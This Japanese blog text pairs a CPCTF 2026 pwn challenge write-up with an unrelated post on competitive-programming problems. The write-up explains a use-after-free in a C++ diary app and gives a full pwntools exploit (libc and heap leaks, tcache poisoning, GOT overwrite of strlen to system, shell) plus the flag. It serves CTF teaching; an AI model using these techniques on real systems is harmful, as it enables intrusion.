ほんの少しだけひねったROPです。デコンパイラよりアセンブリを読んだ方がわかりやすい場面もあるということを伝えようと思って作りました。

[Pwn] Lv.5 diary

問題概要

日記を管理するアプリケーションです。
このようなソースコードが与えられます。

#include <iostream>
#include <string>
#include <vector>
#include <stdexcept>
  
class DiaryImpl {
public:
    DiaryImpl(const std::string &content, int m = 0, int d = 0)
        : content(content), month(m), day(d)
    {
        if (m == 0 && d == 0) {
            throw std::runtime_error("Invalid date");
        }
  
        lines = 1;
        words = 0;
        bool in_word = false;
        for (char c : content) {
            if (c == '\n')
                lines++;
            if (c == ' ' || c == '\n' || c == '\t') {
                if (in_word) {
                    words++;
                    in_word = false;
                }
            } else {
                in_word = true;
            }
        }
        if (in_word) {
            words++;
        }
    }
    ~DiaryImpl() = default;
  
    void show() {
        std::cout << content << "\n=======================\n" << words << " words, " << lines << " lines" << std::endl;
    }
  
    void show_summary() {
        std::cout << "Diary - " << month << "/" << day << std::endl;
    }
  
    void to_upper() {
        for (char &c : content) {
            c = std::toupper(c);
        }
    }
  
    void set_date(int m, int d) {
        month = m;
        day = d;
    }
  
    void set_content(const std::string &new_content) { content = new_content; }
  
    size_t size() const { return content.size(); }
  
private:
    int month;
    int day;
    int lines;
    int words;
    std::string content;
};
  
class Diary {
public:
    Diary(const std::string &content, int month = 0, int day = 0) {
        impl = new DiaryImpl(content, month, day);
    }
  
    ~Diary() { delete impl; }
  
    void show() { impl->show(); }
  
    void show_summary() { impl->show_summary(); }
  
    void to_upper() { impl->to_upper(); }
  
    void update(const std::string &new_content, int month, int day) {
        if (new_content != "") {
            impl->set_content(new_content);
        }
        impl->set_date(month, day);
    }
  
    size_t size() const { return impl->size(); }
  
private:
    DiaryImpl *impl;
};
  
inline std::string user_input(const char *prompt) {
    std::string input;
    std::cout << prompt;
    std::cout.flush();
  
    std::cin.ignore();
  
    char *line = nullptr;
    size_t len = 0;
    ssize_t read = getline(&line, &len, stdin);
    if (read < 0) {
        exit(1);
    }
  
    if (line[read - 1] == '\n') {
        line[read - 1] = '\0';
    }
  
    return std::string(line);
}
  
std::vector<Diary> diaries;
  
void create() {
    int month, day;
    std::cout << "Enter date (month day): ";
    std::cout.flush();
    std::cin >> month >> day;
  
    std::string content = user_input("Enter diary content: ");
  
    diaries.emplace_back(content, month, day);
}
  
void show_with_emphasis(Diary diary) {
    diary.to_upper();
    diary.show();
}
  
void show(bool formatted = false) {
    int index;
    std::cout << "Enter diary index: ";
    std::cout.flush();
    std::cin >> index;
  
    if (index >= 0 && index < diaries.size()) {
        if (formatted) {
            show_with_emphasis(diaries[index]);
        } else {
            diaries[index].show();
        }
    } else {
        std::cout << "Invalid index." << std::endl;
    }
}
  
void update() {
    int index;
    std::cout << "Enter diary index to update: ";
    std::cout.flush();
    std::cin >> index;
  
    if (index >= 0 && index < diaries.size()) {
        int month, day;
        std::cout << "Enter new date (month day): ";
        std::cout.flush();
        std::cin >> month >> day;
  
        std::string content = user_input("Enter new diary content: ");
  
        diaries[index].update(content, month, day);
        std::cout << "Diary updated." << std::endl;
    } else {
        std::cout << "Invalid index." << std::endl;
    }
}
  
void list_diaries() {
    std::cout << "Diaries:" << std::endl;
    for (size_t i = 0; i < diaries.size(); ++i) {
        std::cout << i << ": ";
        diaries[i].show_summary();
    }
    std::cout.flush();
}
  
int main() {
    diaries.reserve(64);
  
    while (true) {
        std::cout << "1. Create Diary\n"
                     "2. Show Diary\n"
                     "3. Show Diary with Emphasis\n"
                     "4. Update Diary\n"
                     "5. List Diaries\n"
                     "6. Exit\n"
                     "Enter your choice: ";
        std::cout.flush();
  
        int choice;
        std::cin >> choice;
  
        std::cout << std::endl;
  
        switch (choice) {
            case 1:
                create();
                break;
            case 2:
                show(false);
                break;
            case 3:
                show(true);
                break;
            case 4:
                update();
                break;
            case 5:
                list_diaries();
                break;
            case 6:
                std::cout << "Exiting..." << std::endl;
                return 0;
            default:
                std::cout << "Invalid choice." << std::endl;
                return 0;
        }
  
        std::cout << std::endl;
    }
  
    return 0;
}

解答例

脆弱性

この関数に脆弱性があります。

void show_with_emphasis(Diary diary) {
    diary.to_upper();
    diary.show();
}

// 呼び出し部
show_with_emphasis(diaries[index]);

show_with_emphasis関数ではDiaryを値渡ししています。そのため、値渡しされるDiaryはコンパイラが暗黙的に生成したコピーコンストラクタを用いて生成され、関数終了時にこのオブジェクトは破棄されます。しかしながら、暗黙的に生成されるコピーコンストラクタはポインタ変数をshallow copyするため、以下のようにしてUse After Freeが成立します。

1. Diaryを値渡しすると、DiaryImplのポインタの値のみがコピーされる（実体は1つのみ）
2. 関数が終了し、Diaryのデストラクタが呼び出される
3. delete implが実行され、DiaryImplはfreeされる
4. しかし、呼び出し側からはそのDiaryにアクセスできるため、Diaryがもつimplはfreeされたものである

方針

逆アセンブル結果を見ると、C++関数のほかにstrlen関数が存在しています。これを調べると、std::stringの初期化時に呼び出されていることがわかります。ソースコード上では

inline std::string user_input(const char *prompt) {
    std::string input;
    std::cout << prompt;
    std::cout.flush();
  
    std::cin.ignore();
  
    char *line = nullptr;
    size_t len = 0;
    ssize_t read = getline(&line, &len, stdin);
    if (read < 0) {
        exit(1);
    }
  
    if (line[read - 1] == '\n') {
        line[read - 1] = '\0';
    }
  
    return std::string(line);
}

このuser_input関数の最終行から呼び出されるので、GOT Overwriteによってstrlenをsystemなどにすることでフラグを獲得できそうです。

全体的な方針は、

1. libcアドレスのリーク
2. ヒープ位置のリーク
3. GOT Overwrite

という流れです。GOT Overwriteに関しては、tcacheのnextをGOTに指定したうえでcreateするとGOT上にDiaryが作成され、コンストラクタでint変数month dayが書き込まれるので、それを使用するとGOT Overwriteできます。

libcアドレスのリーク

今回は、書き込む文字列の長さによってstd::stringが内部的に確保するバッファのサイズを操作できます。そのため、ある程度長い文字列を入力し、unsorted binのfd/bkメンバがmain_arenaを指していることからlibcアドレスを特定します。

for i in range(9):
    create(1, 1, b'A' * 0x100)
  
for i in range(9):
    show_emphasis(i)
  
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
  
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')

heapアドレスのリーク (Safe Linkingの解除)

Safe Linkingを突破するためにheapアドレスのリークを行います。tcacheの本来のnextの値がNULLだった場合、観測できるnextの値はSafe LinkingにおいてアドレスにXORを掛ける値に等しいです。

nextの値であれば、DiaryImplクラスのmonthとdayが見られればわかります。

show_emphasis(18)

# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
    log.error('Failed to find date in show output')
    exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')

GOT Overwrite

最後にGOT Overwriteとして、strlenをsystemに書き換えます。書き込みの際、monthやdayが符号付き4バイト整数であることに注意してください。

# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
  
create(1, 1, b'B' * 0x5)
  
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')

シェル奪取

最後に、書き換えられたstrlenを呼ぶためにcreateを呼び出します。

create(1, 1, b'/bin/sh\x00')

エクスプロイトの全体

from pwn import *
import sys
import re
import ctypes
  
# context.log_level = 'debug'
  
conn = remote('133.88.122.244', 99999)
elf = ELF('./diary')
libc = ELF('./libc.so.6')
  
main_arena_offset = 0x79a445603b20 - 0x79a445400000

def signed_int(val):
    return ctypes.c_int32(val).value
  
def create(month, day, content):
    conn.sendlineafter(b'Enter your choice: ', b'1')
    conn.sendlineafter(b'Enter date (month day): ', f'{month} {day}'.encode())
    conn.sendlineafter(b'Enter diary content: ', content)
  
def show(index):
    conn.sendlineafter(b'Enter your choice: ', b'2')
    conn.sendlineafter(b'Enter diary index: ', str(index).encode())
    return conn.recvuntil(b'=======================')
  
def show_emphasis(index):
    conn.sendlineafter(b'Enter your choice: ', b'3')
    conn.sendlineafter(b'Enter diary index: ', str(index).encode())
    return conn.recvuntil(b'=======================')
  
def update(index, month, day, content):
    conn.sendlineafter(b'Enter your choice: ', b'4')
    conn.sendlineafter(b'Enter diary index to update: ', str(index).encode())
    conn.sendlineafter(b'Enter new date (month day): ', f'{month} {day}'.encode())
    if content == b'':
        conn.sendlineafter(b'Enter new diary content: ', b'')
    else:
        conn.sendlineafter(b'Enter new diary content: ', content)
  
def list_diaries():
    conn.sendlineafter(b'Enter your choice: ', b'5')
    return conn.recvuntil(b'1. Create Diary')
  
# libc leak
for i in range(9):
    create(1, 1, b'A' * 0x100)
  
for i in range(9):
    show_emphasis(i)
  
list_diaries()
  
usbin = show(7)
usbin_fd = u64(usbin[:8])
usbin_bk = u64(usbin[8:16])
  
libc_base = usbin_bk - main_arena_offset
log.info(f'libc base: {libc_base:#x}')
  
# clear tcache & leave only two chunk in tcache
for i in range(9):
    create(1, 1, b'B' * 0x5)
  
create(1, 1, b'B' * 0x5)
create(1, 1, b'B' * 0x5) # free after leaking heap position
show_emphasis(18)
  
# heap position leak
ds = list_diaries()
print(ds)
match = re.search(b'18: Diary - (\d+)/(\d+)', ds)
if not match:
    log.error('Failed to find date in show output')
    exit(1)
heap_pos = int(match.group(1))
log.info(f'Extracted heap position: {heap_pos:#x}')
  
show_emphasis(19) # tcache count = 2
  
# GOT overwrite
protected_got = heap_pos ^ elf.got['strlen']
log.info(f'Calculated protected GOT address: {protected_got:#x}, row strlen GOT: {elf.got["strlen"]:#x}')
protected_got_upper = signed_int(protected_got >> 32)
protected_got_lower = signed_int(protected_got & 0xffffffff)
update(19, str(protected_got_lower), str(protected_got_upper), b'')
  
list_diaries()
  
create(1, 1, b'B' * 0x5)
  
list_diaries()
  
system_addr = libc_base + libc.symbols['system']
log.info(f'Calculated system address: {system_addr:#x}')
system_addr_upper = signed_int(system_addr >> 32)
system_addr_lower = signed_int(system_addr & 0xffffffff)
create(system_addr_lower, system_addr_upper, b'')
  
create(1, 1, b'/bin/sh\x00')
  
conn.interactive()

CPCTF{s7r0ng1y_r3c0mmend3d_t0_u3e_3m4r7_p01nt3r}

感想など

私が適当に書いたC++コードをAIに指摘されたことがきっかけで問題になりました。謎にp-implを使っていたり、入力で面倒なことをやっていたりしますが、なるべく自然なプログラムになるようにしています。

Rustにしたらコンパイラに怒られそうなプログラムですね。

おわりに

改めて、CPCTFに参加していただいた皆さん、解いていただいた皆さん、本当にありがとうございました。相変わらず典型+αくらいの問題しか作れなかったので、もし来年も機会があればもっと面白い問題が作れるように努力していきたいです。

この記事は新歓ブログリレー2026 50日目の記事です

はじめに

どうも、25Bのn3と申します。
先日行われたCPCTF2026において、PPCを3題(原案で関わったのは5題)出題しました。作問時に考えたことなどをここに記しておこうと思います。せっかくなので没になった案も抜粋して紹介します。

Sign up for traP [Lv1, 星1.5]

問題文

No.3497 Sign up for traP - yukicoder

競技プログラミングの練習サイト

yukicoder

コメント

原案担当です。writerは @alyth_sol です。

この問題を作るために、traQの内部実装を見てきました。ログイン時の処理で、

• traQid は1文字以上32文字以下の、英大文字(A~Z)、英小文字(a~z)、アラビア数字(0~9)、アンダースコア(_)、ハイフン(-)、によって構成される
• password は10文字以上32文字以下の、ASCIIコードにて表現可能な文字列である

というバリデーションコードがあったので、そのまま問題にしました。
しかし、「、ASCIIコードにて表現可能な文字列である」みたいな表現だと、日本語文字が入ってくることがあるのかとかが曖昧であるので、問題では「文字列 $S$ は ASCII code で 33~126 と表現される文字から構成される。特に、半角スペースを含まない。」という形になりました。

結果

B問題とsolved数が逆転しちゃった...
まあ文字列の判定で意外と大変...そうか？

Brackets Stack Query 2 [Lv2, 星2]

問題文

No.3503 Brackets Stack Query 2 - yukicoder

競技プログラミングの練習サイト

yukicoder

コメント

原案担当 兼 writer です。

集合の内包表記 $\{x|P(x)\}$ のような表記から、棒付き括弧列というアイデアを思いつきました。
この問題を思いついた当時は、通常の括弧列の判定のようにネストの深さを表す整数を持って実装しようとして迷走しました。その結果、「永続stackを使えば解ける！」という結論になっていたのですが、作問者仲間の @t-oka に出題してみたら、「スタックを使って判定しつつ差分を別のスタックに保存すればいいのでは？」と指摘されました。変にデータ構造に頼りすぎるのはよくないですね...

以下は独り言です。
こういう、スタックを使ってその文字列が条件を満たすかどうかを判定できるものは、プッシュダウンオートマトンとかの概念と密接に関わっています。そもそも「括弧列の深さを持つ」というのは、「スタックに(が何個積まれているか」を保存しているものであり、つまりスタックの状態と等価なものを持っているということです。スタックと等価な情報を持つから、通常の括弧列はセグ木に乗せれたり...と考えることができます。つまり、通常の括弧列で「ネストの深さを持つ」というのは「プッシュダウンオートマトンのスタックの状態を持つ」と考えることができ、逆に言えばその状態が一次元的な整数で常に表せる訳ではない...だから最初に迷走した「深さを表す数値を持つ」という方針は良くなかったんですね。直接陽にスタックの状態を持って差分更新すればよかったわけです。この問題を作問することで、自分の中での理解が深まった気がします。

結果

E,F問題とsolved数が逆転しちゃった...(2回目)

提出を見ると、ちょこちょこ永続stackを使ってる人がいておもしろいですね。

Sum of Prod of Root [Lv3, 星2.5]

問題文

No.3505 Sum of Prod of Root - yukicoder

競技プログラミングの練習サイト

yukicoder

コメント

原案担当です。writerは @alyth_sol です。

今回のコンテストの中では、自分の一番のお気に入りです。式の形が好きです。

解法としては、まず $k\ge 2$ の変化点を列挙する + 連続する自然数の和を $O(1)$ で求めることで $O(\sqrt{N})$ で解けます。ここまでは簡単ですね。最初はこれで出していいかな～と思いました。

ここまでは高校数学の内容なので 星2.5 でいいですね。

ですが、頑張れば $O(\sqrt[3]{N})$ に出来そうですよね。
ということで、

$$\sum _{i=0}^{N}i\lfloor \sqrt{i}\rfloor =\sum _{i=1}^{\lfloor \sqrt{n}{\rfloor }^2-1}i\lfloor \sqrt{i}\rfloor +\sum _{i=\lfloor \sqrt{n}{\rfloor }^2}^{n}i\lfloor \sqrt{i}\rfloor =\frac{(\lfloor \sqrt{n}\rfloor -1)\lfloor \sqrt{n}\rfloor (\lfloor \sqrt{n}\rfloor +1)(8\lfloor \sqrt{n}{\rfloor }^2-5\lfloor \sqrt{n}\rfloor -2)}{20}+\frac{\lfloor \sqrt{n}\rfloor (n-\lfloor \sqrt{n}{\rfloor }^2+1)(n+\lfloor \sqrt{n}{\rfloor }^2)}{2}$$

となります。これは高校生でも群数列の分野とかで解けます。結局高校範囲ですね。

よって、この問題は高校数学で解けるので 星2.5 でいいですね。

ってしたら、コンテスト後にXとかで「星2.5じゃないだろ」って意見が見られました。結局難易度の適正は何だったんでしょうか...

ちなみに、没案としては以下のようなものがあります。

$$\sum _{i=1}^N\prod _{k=2}^{\infty }\left(1+\lfloor {\log }_{k}i\rfloor \right)$$

$$\sum _{i=1}^N\left(\prod _{k=1}^{\infty }\lfloor \sqrt[k]{i}\rfloor \right)\left(\prod _{k=2}^{\infty }\left(1+\lfloor {\log }_{k}i\rfloor \right)\right)$$

$$\prod _{i=1}^N\sum _{k=2}^{\infty }\lfloor {\log }_{k}i\rfloor$$